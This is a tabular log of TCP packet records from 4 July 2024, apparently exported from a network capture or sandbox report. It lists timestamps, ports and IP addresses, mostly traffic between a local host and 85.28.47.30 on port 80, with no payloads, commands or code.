Jul 4, 2024 20:33:59.006951094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:59.006959915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:59.970098972 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:33:59.970375061 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:00.042895079 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:00.042924881 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:00.047779083 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:00.047799110 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:00.048006058 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:00.111627102 CEST	49675	443	192.168.2.4	173.222.162.32
Jul 4, 2024 20:34:00.927941084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:00.928059101 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:00.948599100 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:00.953404903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:01.688225031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:01.688416004 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:02.011529922 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:02.017266989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:02.756937981 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:02.757013083 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.008369923 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.013261080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.189812899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.189834118 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.189843893 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.189852953 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.189863920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.189882040 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.189925909 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.190058947 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.190068960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.190078020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.190114975 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.190120935 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.190130949 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.190140009 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.190149069 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.190171003 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.190196991 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.272186995 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272228003 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272238016 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272253990 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272264004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272274017 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272280931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272290945 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272305965 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.272361040 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272372007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272382021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272480011 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.272480011 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.272480011 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.272484064 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.272484064 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.272593975 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272604942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272614002 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272643089 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.272663116 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272669077 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.272674084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272682905 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272694111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272703886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272711992 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.272715092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272725105 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272727013 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.272761106 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.272939920 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272958994 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272969961 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.272984028 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.273015976 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.273036957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.273077965 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.273475885 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.273485899 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.273525953 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.273539066 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.360244036 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360259056 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360270023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360285997 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360315084 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360325098 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360336065 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360426903 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.360486031 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.360507011 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360517025 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360527039 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360538960 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360549927 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360555887 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.360560894 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360572100 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360574961 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.360577106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360584021 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360600948 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360611916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360613108 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.360621929 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360644102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360650063 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.360657930 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360667944 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360671997 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.360711098 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.360812902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360825062 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360838890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360851049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360862017 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360868931 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.360872030 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360881090 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.360882998 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360898018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360909939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360918999 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360925913 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.360958099 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.360981941 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.360992908 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.361002922 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.361013889 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.361023903 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.361026049 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.361033916 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.361044884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.361048937 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.361061096 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.361084938 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.361107111 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.361116886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.361116886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.361123085 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.361133099 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.361143112 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.361149073 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.361176014 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.361212015 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.361327887 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.361340046 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.361349106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.361371994 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.361391068 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.466289043 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466310024 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466320992 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466331959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466341972 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466351032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466356993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466372967 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466382980 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466382980 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.466393948 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466406107 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466407061 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.466444969 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.466566086 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466577053 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466586113 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466597080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466605902 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466612101 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.466615915 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466626883 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466630936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.466638088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466649055 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466662884 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.466691971 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.466804028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466814995 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466823101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466833115 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466842890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466845989 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.466861010 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466866016 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.466871023 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466881037 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466891050 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466891050 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.466901064 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466912031 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466917992 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.466927052 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466937065 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.466937065 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466947079 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466957092 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466964960 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.466968060 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466976881 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466986895 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.466994047 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.466998100 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467012882 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467031002 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467102051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467112064 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467120886 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467148066 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467164040 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467164993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467175961 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467185020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467205048 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467217922 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467279911 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467291117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467299938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467313051 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467324018 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467327118 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467334032 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467340946 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467344999 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467370987 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467395067 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467531919 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467541933 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467550993 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467561007 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467570066 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467576027 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467580080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467591047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467595100 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467601061 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467611074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467618942 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467621088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467631102 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467641115 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467643023 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467650890 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467660904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467670918 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467674971 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467680931 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467709064 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467731953 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467775106 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467786074 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467796087 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467806101 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467819929 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467850924 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467926025 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467936039 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467946053 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467957020 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467967033 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467971087 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467977047 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467988014 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.467991114 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.467998028 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.468007088 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.468014002 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.468022108 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.468033075 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.468038082 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.468046904 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.468058109 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.468067884 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.468070030 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.468077898 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.468089104 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.468097925 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.468106985 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.468107939 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.468122959 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.468132973 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.468136072 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.468143940 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.468153954 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.468184948 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.468261957 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.468272924 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.468282938 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.468303919 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.468317986 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.530663013 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.530677080 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.530687094 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.530703068 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.530713081 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.530718088 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.530724049 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.530750036 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.530770063 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.530774117 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.530783892 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.530795097 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.530806065 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.530814886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.530848026 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.530945063 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.530985117 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.531070948 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.531132936 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.531150103 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.531161070 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.531193972 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560148954 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560163975 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560174942 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560209990 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560226917 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560239077 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560247898 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560250044 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560256004 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560261965 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560273886 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560292006 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560323000 CEST	49730	80	192.168.2.4	85.28.47.30
Jul 4, 2024 20:34:03.560350895 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560363054 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560374022 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560384989 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560395956 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560400963 CEST	80	49730	85.28.47.30	192.168.2.4
Jul 4, 2024 20:34:03.560406923 CEST	80	49730	85.28.47.30	192.168.2.4
